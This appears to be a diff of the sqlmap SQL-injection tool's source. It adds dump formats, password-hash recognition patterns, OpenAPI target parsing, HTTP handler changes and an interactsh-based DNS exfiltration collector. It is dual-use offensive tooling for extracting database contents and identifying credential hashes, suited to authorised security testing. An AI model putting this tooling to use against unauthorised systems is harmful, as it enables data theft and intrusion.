if conf.dumpFormat == DUMP_FORMAT.CSV:
|
||||
if field == fields:
|
||||
dataToDumpFile(dumpFP, "%s" % safeCSValue(value))
|
||||
else:
|
||||
dataToDumpFile(dumpFP, "%s%s" % (safeCSValue(value), conf.csvDel))
|
||||
elif conf.dumpFormat == DUMP_FORMAT.HTML:
|
||||
dataToDumpFile(dumpFP, "<td>%s</td>" % getUnicode(htmlEscape(value).encode("ascii", "xmlcharrefreplace")))
|
||||
|
||||
field += 1
|
||||
field += 1
|
||||
|
||||
if conf.dumpFormat == DUMP_FORMAT.SQLITE:
|
||||
try:
|
||||
@@ -656,6 +715,8 @@ class Dump(object):
|
||||
dataToDumpFile(dumpFP, "\n")
|
||||
elif conf.dumpFormat == DUMP_FORMAT.HTML:
|
||||
dataToDumpFile(dumpFP, "</tr>\n")
|
||||
elif conf.dumpFormat == DUMP_FORMAT.JSONL:
|
||||
dataToDumpFile(dumpFP, "%s\n" % getUnicode(json.dumps(record, ensure_ascii=False)))
|
||||
|
||||
self._write("|", console=console)
|
||||
|
||||
@@ -665,11 +726,11 @@ class Dump(object):
|
||||
rtable.endTransaction()
|
||||
logger.info("table '%s.%s' dumped to SQLITE database '%s'" % (db, table, replication.dbpath))
|
||||
|
||||
elif conf.dumpFormat in (DUMP_FORMAT.CSV, DUMP_FORMAT.HTML):
|
||||
elif conf.dumpFormat in (DUMP_FORMAT.CSV, DUMP_FORMAT.HTML, DUMP_FORMAT.JSONL):
|
||||
if conf.dumpFormat == DUMP_FORMAT.HTML:
|
||||
dataToDumpFile(dumpFP, "</tbody>\n</table>\n<script>let lc=-1,ld=1;function sortTable(n,h){var t=document.querySelector(\"table\"),r=Array.from(t.tBodies[0].rows);ld=(lc==n?-ld:1);lc=n;r.sort((a,b)=>{var x=a.cells[n].innerText.trim(),y=b.cells[n].innerText.trim(),nx=parseFloat(x),ny=parseFloat(y);return(!isNaN(nx)&&!isNaN(ny)?(nx-ny)*ld:x.localeCompare(y)*ld)});r.forEach(e=>t.tBodies[0].appendChild(e));Array.from(t.tHead.rows[0].cells).forEach(c=>{c.innerText=c.innerText.replace(/[\u2191\u2193]/g,\"\")});h.innerText=h.innerText+ (ld==1?\"\u2191\":\"\u2193\");}</script>\n</body>\n</html>")
|
||||
else:
|
||||
dataToDumpFile(dumpFP, "\n")
|
||||
# Note: each CSV row already ends with '\n' (above); no extra close-newline, otherwise
|
||||
# the file ends with a blank line and a later --start/--stop append injects an empty record
|
||||
dumpFP.close()
|
||||
|
||||
msg = "table '%s.%s' dumped to %s file '%s'" % (db, table, conf.dumpFormat, dumpFileName)
|
||||
@@ -679,6 +740,8 @@ class Dump(object):
|
||||
logger.warning(msg)
|
||||
|
||||
def dbColumns(self, dbColumnsDict, colConsider, dbs):
|
||||
self._reportData(dbColumnsDict, CONTENT_TYPE.COLUMNS)
|
||||
|
||||
if conf.api:
|
||||
self._write(dbColumnsDict, content_type=CONTENT_TYPE.COLUMNS)
|
||||
|
||||
|
||||
@@ -116,6 +116,7 @@ class FORK(object):
|
||||
DM8 = "DM8"
|
||||
DORIS = "Doris"
|
||||
STARROCKS = "StarRocks"
|
||||
TRINO = "Trino"
|
||||
|
||||
class CUSTOM_LOGGING(object):
|
||||
PAYLOAD = 9
|
||||
@@ -181,6 +182,8 @@ class HASH(object):
|
||||
MYSQL = r'(?i)\A\*[0-9a-f]{40}\Z'
|
||||
MYSQL_OLD = r'(?i)\A(?![0-9]+\Z)[0-9a-f]{16}\Z'
|
||||
POSTGRES = r'(?i)\Amd5[0-9a-f]{32}\Z'
|
||||
POSTGRES_SCRAM = r'\ASCRAM-SHA-256\$\d+:[A-Za-z0-9+/]+={0,2}\$[A-Za-z0-9+/]+={0,2}:[A-Za-z0-9+/]+={0,2}\Z'
|
||||
MYSQL_SHA2 = r'\A\$mysql\$A\$[0-9A-Fa-f]{3}\*[0-9A-Fa-f]{40}\*[0-9A-Fa-f]{86}\Z'
|
||||
MSSQL = r'(?i)\A0x0100[0-9a-f]{8}[0-9a-f]{40}\Z'
|
||||
MSSQL_OLD = r'(?i)\A0x0100[0-9a-f]{8}[0-9a-f]{80}\Z'
|
||||
MSSQL_NEW = r'(?i)\A0x0200[0-9a-f]{8}[0-9a-f]{128}\Z'
|
||||
@@ -193,6 +196,8 @@ class HASH(object):
|
||||
SHA384_GENERIC = r'(?i)\A[0-9a-f]{96}\Z'
|
||||
SHA512_GENERIC = r'(?i)\A(0x)?[0-9a-f]{128}\Z'
|
||||
CRYPT_GENERIC = r'\A(?!\d{1,3}\.\d{1,3}\.\d{1,3}\.\d{1,3}\Z)(?![0-9]+\Z)[./0-9A-Za-z]{13}\Z'
|
||||
SHA256_UNIX_CRYPT = r'\A\$5\$(?:rounds=\d+\$)?[./0-9A-Za-z]{1,16}\$[./0-9A-Za-z]{43}\Z'
|
||||
SHA512_UNIX_CRYPT = r'\A\$6\$(?:rounds=\d+\$)?[./0-9A-Za-z]{1,16}\$[./0-9A-Za-z]{86}\Z'
|
||||
JOOMLA = r'\A[0-9a-f]{32}:\w{32}\Z'
|
||||
PHPASS = r'\A\$[PHQS]\$[./0-9a-zA-Z]{31}\Z'
|
||||
APACHE_MD5_CRYPT = r'\A\$apr1\$.{1,8}\$[./a-zA-Z0-9]+\Z'
|
||||
@@ -206,6 +211,13 @@ class HASH(object):
|
||||
SSHA512 = r'\A\{SSHA512\}[a-zA-Z0-9+/]+={0,2}\Z'
|
||||
DJANGO_MD5 = r'\Amd5\$[^$]*\$[0-9a-f]{32}\Z'
|
||||
DJANGO_SHA1 = r'\Asha1\$[^$]*\$[0-9a-f]{40}\Z'
|
||||
DJANGO_PBKDF2_SHA256 = r'\Apbkdf2_sha256\$\d+\$[^$]+\$[A-Za-z0-9+/]+={0,2}\Z'
|
||||
WERKZEUG_PBKDF2 = r'\Apbkdf2:(?:sha1|sha256|sha512):\d+\$[^$]+\$[0-9a-f]+\Z'
|
||||
WERKZEUG_SCRYPT = r'\Ascrypt:\d+:\d+:\d+\$[^$]+\$[0-9a-f]+\Z'
|
||||
BCRYPT = r'\A\$2[abxy]\$\d{2}\$[./A-Za-z0-9]{53}\Z'
|
||||
WORDPRESS_BCRYPT = r'\A\$wp\$2[abxy]\$\d{2}\$[./A-Za-z0-9]{53}\Z'
|
||||
ARGON2 = r'\A\$argon2(?:id|i|d)\$v=\d+\$m=\d+,t=\d+,p=\d+\$[A-Za-z0-9+/]+={0,2}\$[A-Za-z0-9+/]+={0,2}\Z'
|
||||
ASPNET_IDENTITY = r'\AAQAAAA[A-Za-z0-9+/]{76}==\Z'
|
||||
MD5_BASE64 = r'\A[a-zA-Z0-9+/]{22}==\Z'
|
||||
SHA1_BASE64 = r'\A[a-zA-Z0-9+/]{27}=\Z'
|
||||
SHA256_BASE64 = r'\A[a-zA-Z0-9+/]{43}=\Z'
|
||||
@@ -240,6 +252,7 @@ class DUMP_FORMAT(object):
|
||||
CSV = "CSV"
|
||||
HTML = "HTML"
|
||||
SQLITE = "SQLITE"
|
||||
JSONL = "JSONL"
|
||||
|
||||
class HTTP_HEADER(object):
|
||||
ACCEPT = "Accept"
|
||||
@@ -289,6 +302,7 @@ class HASHDB_KEYS(object):
|
||||
DBMS = "DBMS"
|
||||
DBMS_FORK = "DBMS_FORK"
|
||||
CHECK_WAF_RESULT = "CHECK_WAF_RESULT"
|
||||
CHECK_WAF_BYPASS = "CHECK_WAF_BYPASS"
|
||||
CHECK_NULL_CONNECTION_RESULT = "CHECK_NULL_CONNECTION_RESULT"
|
||||
CONF_TMP_PATH = "CONF_TMP_PATH"
|
||||
KB_ABS_FILE_PATHS = "KB_ABS_FILE_PATHS"
|
||||
@@ -408,6 +422,7 @@ class CONTENT_TYPE(object):
|
||||
OS_CMD = 24
|
||||
REG_READ = 25
|
||||
STATEMENTS = 26
|
||||
PROCEDURES = 27
|
||||
|
||||
class CONTENT_STATUS(object):
|
||||
IN_PROGRESS = 0
|
||||
|
||||
+181
-64
@@ -144,7 +144,10 @@ from lib.request.basicauthhandler import SmartHTTPBasicAuthHandler
|
||||
from lib.request.chunkedhandler import ChunkedHandler
|
||||
from lib.request.connect import Connect as Request
|
||||
from lib.request.dns import DNSServer
|
||||
from lib.request.dns import InteractshDNSServer
|
||||
from lib.request.httpshandler import HTTPSHandler
|
||||
from lib.request.keepalive import HTTPKeepAliveHandler
|
||||
from lib.request.keepalive import HTTPSKeepAliveHandler
|
||||
from lib.request.pkihandler import HTTPSPKIAuthHandler
|
||||
from lib.request.rangehandler import HTTPRangeHandler
|
||||
from lib.request.redirecthandler import SmartRedirectHandler
|
||||
@@ -154,8 +157,7 @@ from lib.utils.har import HTTPCollectorFactory
|
||||
from lib.utils.purge import purge
|
||||
from lib.utils.search import search
|
||||
from thirdparty import six
|
||||
from thirdparty.keepalive import keepalive
|
||||
from thirdparty.multipart import multipartpost
|
||||
from lib.request.multiparthandler import MultipartPostHandler
|
||||
from thirdparty.six.moves import collections_abc as _collections
|
||||
from thirdparty.six.moves import http_client as _http_client
|
||||
from thirdparty.six.moves import http_cookiejar as _http_cookiejar
|
||||
@@ -166,11 +168,12 @@ from xml.etree.ElementTree import ElementTree
|
||||
authHandler = _urllib.request.BaseHandler()
|
||||
chunkedHandler = ChunkedHandler()
|
||||
httpsHandler = HTTPSHandler()
|
||||
keepAliveHandler = keepalive.HTTPHandler()
|
||||
keepAliveHandler = HTTPKeepAliveHandler()
|
||||
keepAliveHandlerHTTPS = HTTPSKeepAliveHandler()
|
||||
proxyHandler = _urllib.request.ProxyHandler()
|
||||
redirectHandler = SmartRedirectHandler()
|
||||
rangeHandler = HTTPRangeHandler()
|
||||
multipartPostHandler = multipartpost.MultipartPostHandler()
|
||||
multipartPostHandler = MultipartPostHandler()
|
||||
|
||||
# Reference: https://mail.python.org/pipermail/python-list/2009-November/558615.html
|
||||
try:
|
||||
@@ -436,19 +439,27 @@ def _setStdinPipeTargets():
|
||||
return self.next()
|
||||
|
||||
def next(self):
|
||||
try:
|
||||
line = next(conf.stdinPipe)
|
||||
except (IOError, OSError, TypeError, UnicodeDecodeError):
|
||||
line = None
|
||||
while True:
|
||||
try:
|
||||
line = next(conf.stdinPipe)
|
||||
except (IOError, OSError, TypeError, UnicodeDecodeError):
|
||||
line = None
|
||||
except StopIteration:
|
||||
line = None
|
||||
|
||||
if line:
|
||||
match = re.search(r"\b(https?://[^\s'\"]+|[\w.]+\.\w{2,3}[/\w+]*\?[^\s'\"]+)", line, re.I)
|
||||
if match:
|
||||
return (match.group(0), conf.method, conf.data, conf.cookie, None)
|
||||
elif self.__rest:
|
||||
return self.__rest.pop()
|
||||
if line:
|
||||
match = re.search(r"\b(https?://[^\s'\"]+|[\w.]+\.\w{2,3}[/\w+]*\?[^\s'\"]+)", line, re.I)
|
||||
if match:
|
||||
return (match.group(0), conf.method, conf.data, conf.cookie, None)
|
||||
# Note: a non-empty line that is not a target (blank line, comment,
|
||||
# non-parameterized URL) must be skipped, not treated as end-of-input
|
||||
continue
|
||||
|
||||
raise StopIteration()
|
||||
# end-of-input (or read error): drain any queued targets, then stop
|
||||
if self.__rest:
|
||||
return self.__rest.pop()
|
||||
|
||||
raise StopIteration()
|
||||
|
||||
def add(self, elem):
|
||||
self.__rest.add(elem)
|
||||
@@ -482,6 +493,75 @@ def _setBulkMultipleTargets():
|
||||
warnMsg = "no usable links found (with GET parameters)"
|
||||
logger.warning(warnMsg)
|
||||
|
||||
def _setOpenApiTargets():
|
||||
if not conf.openApiFile:
|
||||
return
|
||||
|
||||
from lib.parse.openapi import openApiTargets
|
||||
|
||||
if conf.method:
|
||||
warnMsg = "option '--method' will override the HTTP method(s) derived from the OpenAPI/Swagger specification"
|
||||
logger.warning(warnMsg)
|
||||
|
||||
# origin resolves a spec's relative 'servers' to absolute target URLs: an explicit '--openapi-base'
|
||||
# (needed for a host-less local spec) or, when fetched by URL, the fetch URL itself.
|
||||
origin = conf.openApiBase.rstrip('/') if conf.openApiBase else None
|
||||
if re.match(r"(?i)\Ahttps?://", conf.openApiFile):
|
||||
infoMsg = "fetching OpenAPI/Swagger specification from '%s'" % conf.openApiFile
|
||||
logger.info(infoMsg)
|
||||
from lib.request.connect import Connect as Request
|
||||
content = Request.getPage(url=conf.openApiFile, raise404=True)[0]
|
||||
if not origin:
|
||||
match = re.match(r"(?i)(https?://[^/]+)", conf.openApiFile)
|
||||
origin = match.group(1) if match else None
|
||||
else:
|
||||
conf.openApiFile = safeExpandUser(conf.openApiFile)
|
||||
checkFile(conf.openApiFile)
|
||||
infoMsg = "parsing OpenAPI/Swagger specification from '%s'" % conf.openApiFile
|
||||
logger.info(infoMsg)
|
||||
content = openFile(conf.openApiFile).read()
|
||||
|
||||
tags = [_.strip() for _ in re.split(PARAMETER_SPLITTING_REGEX, conf.openApiTags) if _.strip()] if conf.openApiTags else None
|
||||
if tags:
|
||||
infoMsg = "restricting extraction to OpenAPI/Swagger operations tagged: %s" % ", ".join(tags)
|
||||
logger.info(infoMsg)
|
||||
|
||||
try:
|
||||
targets = openApiTargets(content, origin, tags)
|
||||
except ValueError as ex:
|
||||
errMsg = "unable to parse the OpenAPI/Swagger specification ('%s')" % getSafeExString(ex)
|
||||
raise SqlmapSyntaxException(errMsg)
|
||||
|
||||
if re.search(r"(?i)securitySchemes|securityDefinitions", content) and not any((conf.authType, conf.authCred, conf.authFile)) and not any((_[0] or "").lower() == HTTP_HEADER.AUTHORIZATION.lower() for _ in (conf.httpHeaders or [])):
|
||||
warnMsg = "the OpenAPI/Swagger specification declares authentication (security schemes) but no credentials were provided. "
|
||||
warnMsg += "If the API requires authentication, requests are likely to be rejected. Provide credentials with "
|
||||
warnMsg += "'--auth-type'/'--auth-cred' or a header (e.g. --headers=\"Authorization: Bearer ...\")"
|
||||
logger.warning(warnMsg)
|
||||
|
||||
before = len(kb.targets) # openapi carries per-target bodies -> no conf.data fallback
|
||||
mutating = 0
|
||||
for url, method, data, headers in targets:
|
||||
if conf.scope and not re.search(conf.scope, url, re.I):
|
||||
continue
|
||||
if method not in ("GET", "HEAD", "OPTIONS"):
|
||||
mutating += 1
|
||||
kb.targets.add((url, method, data, conf.cookie, tuple(headers) if headers else None))
|
||||
|
||||
added = len(kb.targets) - before
|
||||
if added:
|
||||
conf.multipleTargets = True
|
||||
infoMsg = "derived %d target(s) from the OpenAPI/Swagger specification" % added
|
||||
logger.info(infoMsg)
|
||||
if mutating:
|
||||
warnMsg = "%d of the derived target(s) use state-changing HTTP methods (e.g. POST/PUT/PATCH/DELETE). " % mutating
|
||||
warnMsg += "Scanning them may create, modify or delete server-side data"
|
||||
logger.warning(warnMsg)
|
||||
else:
|
||||
warnMsg = "no usable targets derived from the OpenAPI/Swagger specification"
|
||||
if not conf.openApiBase:
|
||||
warnMsg += " (if it uses relative 'servers', provide a base with '--openapi-base' or fetch it by URL)"
|
||||
logger.warning(warnMsg)
|
||||
|
||||
def _findPageForms():
|
||||
if not conf.forms or conf.crawlDepth:
|
||||
return
|
||||
@@ -608,7 +688,7 @@ def _setMetasploit():
|
||||
else:
|
||||
warnMsg = "the provided Metasploit Framework path "
|
||||
warnMsg += "'%s' is not valid. The cause could " % conf.msfPath
|
||||
warnMsg += "be that the path does not exists or that one "
|
||||
warnMsg += "be that the path does not exist or that one "
|
||||
warnMsg += "or more of the needed Metasploit executables "
|
||||
warnMsg += "within msfcli, msfconsole, msfencode and "
|
||||
warnMsg += "msfpayload do not exist"
|
||||
@@ -860,6 +940,15 @@ def _setTamperingFunctions():
|
||||
warnMsg += "a good idea"
|
||||
logger.warning(warnMsg)
|
||||
|
||||
# tamper scripts rewrite SQL injection payloads; the self-contained non-SQL engines
|
||||
# (--graphql/--nosql/--ldap/--xpath/--ssti/--xxe) do not run payloads through the tampering hook, so
|
||||
# warn instead of silently ignoring the user's '--tamper'
|
||||
if kb.tamperFunctions and any((conf.graphql, conf.nosql, conf.ldap, conf.xpath, conf.ssti, conf.xxe)):
|
||||
engine = next(_ for _ in ("graphql", "nosql", "ldap", "xpath", "ssti", "xxe") if conf.get(_))
|
||||
warnMsg = "tamper scripts are applied to SQL injection payloads only and "
|
||||
warnMsg += "will be ignored by the '--%s' engine" % engine
|
||||
logger.warning(warnMsg)
|
||||
|
||||
if resolve_priorities and priorities:
|
||||
priorities.sort(key=functools.cmp_to_key(lambda a, b: cmp(a[0], b[0])), reverse=True)
|
||||
kb.tamperFunctions = []
|
||||
@@ -1239,18 +1328,24 @@ def _setHTTPHandlers():
|
||||
handlers.append(_urllib.request.HTTPCookieProcessor(conf.cj))
|
||||
|
||||
# Reference: http://www.w3.org/Protocols/rfc2616/rfc2616-sec8.html
|
||||
if conf.keepAlive:
|
||||
warnMsg = "persistent HTTP(s) connections, Keep-Alive, has "
|
||||
warnMsg += "been disabled because of its incompatibility "
|
||||
# Note: persistent (Keep-Alive) connections are used by default (including through an HTTP(s)
|
||||
# proxy - the keep-alive handler pools the proxy socket for plain HTTP and the CONNECT-tunnelled
|
||||
# socket per origin for HTTPS); '--no-keep-alive' opts out, and they are automatically disabled
|
||||
# when incompatible (authentication methods, or chunked transfer-encoding of the request body -
|
||||
# handled by a dedicated, non-pooling handler)
|
||||
conf.keepAlive = not conf.noKeepAlive and not conf.authType and not conf.chunked
|
||||
|
||||
if conf.proxy:
|
||||
warnMsg += "with HTTP(s) proxy"
|
||||
logger.warning(warnMsg)
|
||||
elif conf.authType:
|
||||
warnMsg += "with authentication methods"
|
||||
logger.warning(warnMsg)
|
||||
else:
|
||||
handlers.append(keepAliveHandler)
|
||||
if conf.keepAlive:
|
||||
# persistent connections for both HTTP and HTTPS; the keep-alive HTTPS
|
||||
# handler supersedes the regular one (reusing its SSL connection)
|
||||
if httpsHandler in handlers:
|
||||
handlers.remove(httpsHandler)
|
||||
handlers.append(keepAliveHandler)
|
||||
handlers.append(keepAliveHandlerHTTPS)
|
||||
elif not conf.noKeepAlive and (conf.authType or conf.chunked):
|
||||
reason = "authentication methods" if conf.authType else "chunked transfer-encoding"
|
||||
debugMsg = "persistent (Keep-Alive) connections were disabled (incompatible with %s)" % reason
|
||||
logger.debug(debugMsg)
|
||||
|
||||
opener = _urllib.request.build_opener(*handlers)
|
||||
opener.addheaders = [] # Note: clearing default "User-Agent: Python-urllib/X.Y"
|
||||
@@ -1396,7 +1491,9 @@ def _setHTTPAuthentication():
|
||||
conf.httpHeaders.append((HTTP_HEADER.AUTHORIZATION, "Bearer %s" % conf.authCred.strip()))
|
||||
return
|
||||
elif authType == AUTH_TYPE.NTLM:
|
||||
regExp = "^(.*\\\\.*):(.*?)$"
|
||||
# Note: the DOMAIN\username part is colon-free, so the password group takes the full
|
||||
# remainder (a greedy first group would otherwise swallow colons inside the password)
|
||||
regExp = "^([^:]*\\\\[^:]*):(.*)$"
|
||||
errMsg = "HTTP NTLM authentication credentials value must "
|
||||
errMsg += "be in format 'DOMAIN\\username:password'"
|
||||
elif authType == AUTH_TYPE.PKI:
|
||||
@@ -1423,15 +1520,8 @@ def _setHTTPAuthentication():
|
||||
authHandler = _urllib.request.HTTPDigestAuthHandler(kb.passwordMgr)
|
||||
|
||||
elif authType == AUTH_TYPE.NTLM:
|
||||
try:
|
||||
from ntlm import HTTPNtlmAuthHandler
|
||||
except ImportError:
|
||||
errMsg = "sqlmap requires Python NTLM third-party library "
|
||||
errMsg += "in order to authenticate via NTLM. Download from "
|
||||
errMsg += "'https://github.com/mullender/python-ntlm'"
|
||||
raise SqlmapMissingDependence(errMsg)
|
||||
|
||||
authHandler = HTTPNtlmAuthHandler.HTTPNtlmAuthHandler(kb.passwordMgr)
|
||||
from lib.request.ntlm import HTTPNtlmAuthHandler
|
||||
authHandler = HTTPNtlmAuthHandler(kb.passwordMgr)
|
||||
else:
|
||||
debugMsg = "setting the HTTP(s) authentication PEM private key"
|
||||
logger.debug(debugMsg)
|
||||
@@ -1454,14 +1544,14 @@ def _setHTTPExtraHeaders():
|
||||
if not headerValue.strip():
|
||||
continue
|
||||
|
||||
if headerValue.count(':') >= 1:
|
||||
if headerValue.startswith('@'):
|
||||
checkFile(headerValue[1:])
|
||||
kb.headersFile = headerValue[1:]
|
||||
elif headerValue.count(':') >= 1:
|
||||
header, value = (_.lstrip() for _ in headerValue.split(":", 1))
|
||||
|
||||
if header and value:
|
||||
conf.httpHeaders.append((header, value))
|
||||
elif headerValue.startswith('@'):
|
||||
checkFile(headerValue[1:])
|
||||
kb.headersFile = headerValue[1:]
|
||||
else:
|
||||
errMsg = "invalid header value: %s. Valid header format is 'name:value'" % repr(headerValue).lstrip('u')
|
||||
raise SqlmapSyntaxException(errMsg)
|
||||
@@ -1675,9 +1765,9 @@ def _createTemporaryDirectory():
|
||||
except Exception as ex:
|
||||
warnMsg = "there has been a problem while accessing "
|
||||
warnMsg += "system's temporary directory location(s) ('%s'). Please " % getSafeExString(ex)
|
||||
warnMsg += "make sure that there is enough disk space left. If problem persists, "
|
||||
warnMsg += "make sure that there is enough disk space left. If the problem persists, "
|
||||
warnMsg += "try to set environment variable 'TEMP' to a location "
|
||||
warnMsg += "writeable by the current user"
|
||||
warnMsg += "writable by the current user"
|
||||
logger.warning(warnMsg)
|
||||
|
||||
if "sqlmap" not in (tempfile.tempdir or "") or conf.tmpDir and tempfile.tempdir == conf.tmpDir:
|
||||
@@ -1825,7 +1915,7 @@ def _cleanupOptions():
|
||||
if conf.tmpPath:
|
||||
conf.tmpPath = ntToPosixSlashes(normalizePath(conf.tmpPath))
|
||||
|
||||
if any((conf.googleDork, conf.logFile, conf.bulkFile, conf.forms, conf.crawlDepth, conf.stdinPipe)):
|
||||
if any((conf.googleDork, conf.logFile, conf.bulkFile, conf.forms, conf.crawlDepth, conf.stdinPipe, conf.openApiFile)):
|
||||
conf.multipleTargets = True
|
||||
|
||||
if conf.optimize:
|
||||
@@ -2074,6 +2164,7 @@ def _setKnowledgeBaseAttributes(flushAll=True):
|
||||
kb.cache.comparison = LRUDict(capacity=256)
|
||||
kb.cache.encoding = LRUDict(capacity=256)
|
||||
kb.cache.alphaBoundaries = None
|
||||
kb.cache.charsetAsciiTbl = None
|
||||
kb.cache.hashRegex = None
|
||||
kb.cache.intBoundaries = None
|
||||
kb.cache.parsedDbms = {}
|
||||
@@ -2144,6 +2235,17 @@ def _setKnowledgeBaseAttributes(flushAll=True):
|
||||
kb.heuristicTest = None
|
||||
kb.hintValue = ""
|
||||
kb.htmlFp = []
|
||||
kb.huffmanModel = {}
|
||||
kb.respTruncated = False
|
||||
kb.huffmanValidated = False
|
||||
kb.disableHuffman = False
|
||||
kb.huffmanProbes = 0
|
||||
kb.huffmanEscapes = 0
|
||||
kb.lowCardCache = {}
|
||||
kb.dumpCharset = {}
|
||||
kb.dumpCharsetStable = {}
|
||||
kb.litmusCounter = 0
|
||||
kb.reliabilityAlarm = False
|
||||
kb.httpErrorCodes = {}
|
||||
kb.inferenceMode = False
|
||||
kb.ignoreCasted = None
|
||||
@@ -2157,7 +2259,7 @@ def _setKnowledgeBaseAttributes(flushAll=True):
|
||||
kb.lastParserStatus = None
|
||||
|
||||
kb.locks = AttribDict()
|
||||
for _ in ("cache", "connError", "count", "handlers", "hint", "identYwaf", "index", "io", "limit", "liveCookies", "log", "socket", "redirect", "request", "value"):
|
||||
for _ in ("cache", "connError", "count", "handlers", "hint", "identYwaf", "index", "io", "limit", "liveCookies", "log", "prediction", "socket", "redirect", "request", "value"):
|
||||
kb.locks[_] = threading.Lock()
|
||||
|
||||
kb.matchRatio = None
|
||||
@@ -2187,6 +2289,7 @@ def _setKnowledgeBaseAttributes(flushAll=True):
|
||||
kb.pageTemplates = dict()
|
||||
kb.pageEncoding = DEFAULT_PAGE_ENCODING
|
||||
kb.pageStable = None
|
||||
kb.pageStructurallyStable = None
|
||||
kb.partRun = None
|
||||
kb.permissionFlag = False
|
||||
kb.place = None
|
||||
@@ -2225,6 +2328,8 @@ def _setKnowledgeBaseAttributes(flushAll=True):
|
||||
kb.suppressResumeInfo = False
|
||||
kb.tableFrom = None
|
||||
kb.technique = None
|
||||
kb.timeless = None # active HTTP/2 timeless-timing oracle (lib/request/timeless.py) or None
|
||||
kb.timelessHinted = False # whether the "target speaks HTTP/2 -> try --timeless" nudge was shown (once/run)
|
||||
kb.tempDir = None
|
||||
kb.testMode = False
|
||||
kb.testOnlyCustom = False
|
||||
@@ -2236,6 +2341,7 @@ def _setKnowledgeBaseAttributes(flushAll=True):
|
||||
kb.udfFail = False
|
||||
kb.unionDuplicates = False
|
||||
kb.unionTemplate = None
|
||||
kb.wafBypass = None
|
||||
kb.webSocketRecvCount = None
|
||||
kb.wizardMode = False
|
||||
kb.xpCmdshellAvailable = False
|
||||
@@ -2481,6 +2587,26 @@ def _setDNSServer():
|
||||
if not conf.dnsDomain:
|
||||
return
|
||||
|
||||
from lib.core.settings import OOB_INTERACTSH_SERVERS
|
||||
|
||||
_requested = conf.dnsDomain.strip().lower()
|
||||
if _requested in ("interactsh", "oast", "oob") or _requested in OOB_INTERACTSH_SERVERS:
|
||||
infoMsg = "setting up interactsh-backed DNS exfiltration collector"
|
||||
logger.info(infoMsg)
|
||||
|
||||
try:
|
||||
conf.dnsServer = InteractshDNSServer(server=_requested if _requested in OOB_INTERACTSH_SERVERS else None)
|
||||
conf.dnsServer.run()
|
||||
conf.dnsDomain = conf.dnsServer.domain
|
||||
except socket.error as ex:
|
||||
errMsg = "there was an error while setting up "
|
||||
errMsg += "the interactsh DNS collector ('%s')" % getSafeExString(ex)
|
||||
raise SqlmapGenericException(errMsg)
|
||||
|
||||
infoMsg = "using interactsh DNS collector (exfiltration domain '%s')" % conf.dnsDomain
|
||||
logger.info(infoMsg)
|
||||
return
|
||||
|
||||
infoMsg = "setting up DNS server instance"
|
||||
logger.info(infoMsg)
|
||||
|
||||
@@ -2506,9 +2632,11 @@ def _setProxyList():
|
||||
return
|
||||
|
||||
conf.proxyList = []
|
||||
for match in re.finditer(r"(?i)((http[^:]*|socks[^:]*)://)?([\w\-.]+):(\d+)", readCachedFileContent(conf.proxyFile)):
|
||||
_, type_, address, port = match.groups()
|
||||
conf.proxyList.append("%s://%s:%s" % (type_ or "http", address, port))
|
||||
# Note: preserve an explicit scheme and any 'user:pass@' credentials (entries use the same format
|
||||
# as --proxy); otherwise a SOCKS proxy is silently downgraded to HTTP and proxy auth is dropped
|
||||
for match in re.finditer(r"(?i)((http[^:\s]*|socks[^:\s]*)://)?(?:([^:@\s/]+:[^@\s/]*)@)?([\w\-.]+):(\d+)", readCachedFileContent(conf.proxyFile)):
|
||||
_, type_, cred, address, port = match.groups()
|
||||
conf.proxyList.append("%s://%s%s:%s" % (type_ or "http", ("%s@" % cred) if cred else "", address, port))
|
||||
|
||||
def _setTorProxySettings():
|
||||
if not conf.tor:
|
||||
@@ -2575,14 +2703,6 @@ def _setHttpOptions():
|
||||
_http_client.HTTPConnection._http_vsn = 10
|
||||
_http_client.HTTPConnection._http_vsn_str = 'HTTP/1.0'
|
||||
|
||||
if conf.url and (conf.url.startswith("ws:/") or conf.url.startswith("wss:/")):
|
||||
try:
|
||||
from websocket import ABNF
|
||||
except ImportError:
|
||||
errMsg = "sqlmap requires third-party module 'websocket-client' "
|
||||
errMsg += "in order to use WebSocket functionality"
|
||||
raise SqlmapMissingDependence(errMsg)
|
||||
|
||||
def _checkTor():
|
||||
if not conf.checkTor:
|
||||
return
|
||||
@@ -2689,8 +2809,8 @@ def _basicOptionValidation():
|
||||
errMsg += "'SQLMAP_UNSAFE_EVAL=1' to be explicitly set"
|
||||
raise SqlmapSystemException(errMsg)
|
||||
|
||||
if conf.chunked and not any((conf.data, conf.requestFile, conf.forms)):
|
||||
errMsg = "switch '--chunked' requires usage of (POST) options/switches '--data', '-r' or '--forms'"
|
||||
if conf.chunked and not any((conf.data, conf.requestFile, conf.forms, conf.openApiFile)):
|
||||
errMsg = "switch '--chunked' requires usage of (POST) options/switches '--data', '-r', '--forms' or '--openapi'"
|
||||
raise SqlmapSyntaxException(errMsg)
|
||||
|
||||
if conf.api and not conf.configFile:
|
||||
@@ -2790,10 +2910,6 @@ def _basicOptionValidation():
|
||||
errMsg = "switch '--dump' is incompatible with switch '--dump-all'"
|
||||
raise SqlmapSyntaxException(errMsg)
|
||||
|
||||
if conf.predictOutput and (conf.threads > 1 or conf.optimize):
|
||||
errMsg = "switch '--predict-output' is incompatible with option '--threads' and switch '-o'"
|
||||
raise SqlmapSyntaxException(errMsg)
|
||||
|
||||
if conf.threads > MAX_NUMBER_OF_THREADS and not conf.get("skipThreadCheck"):
|
||||
errMsg = "maximum number of used threads is %d avoiding potential connection issues" % MAX_NUMBER_OF_THREADS
|
||||
raise SqlmapSyntaxException(errMsg)
|
||||
@@ -2831,7 +2947,7 @@ def _basicOptionValidation():
|
||||
raise SqlmapSyntaxException(errMsg)
|
||||
|
||||
if conf.csrfToken and conf.threads > 1:
|
||||
errMsg = "option '--csrf-url' is incompatible with option '--threads'"
|
||||
errMsg = "option '--csrf-token' is incompatible with option '--threads'"
|
||||
raise SqlmapSyntaxException(errMsg)
|
||||
|
||||
if conf.requestFile and conf.url and conf.url != DUMMY_URL:
|
||||
@@ -2983,7 +3099,7 @@ def init():
|
||||
|
||||
parseTargetDirect()
|
||||
|
||||
if any((conf.url, conf.logFile, conf.bulkFile, conf.requestFile, conf.googleDork, conf.stdinPipe)):
|
||||
if any((conf.url, conf.logFile, conf.bulkFile, conf.requestFile, conf.googleDork, conf.stdinPipe, conf.openApiFile)):
|
||||
_setHostname()
|
||||
_setHTTPTimeout()
|
||||
_setHTTPExtraHeaders()
|
||||
@@ -2999,6 +3115,7 @@ def init():
|
||||
_doSearch()
|
||||
_setStdinPipeTargets()
|
||||
_setBulkMultipleTargets()
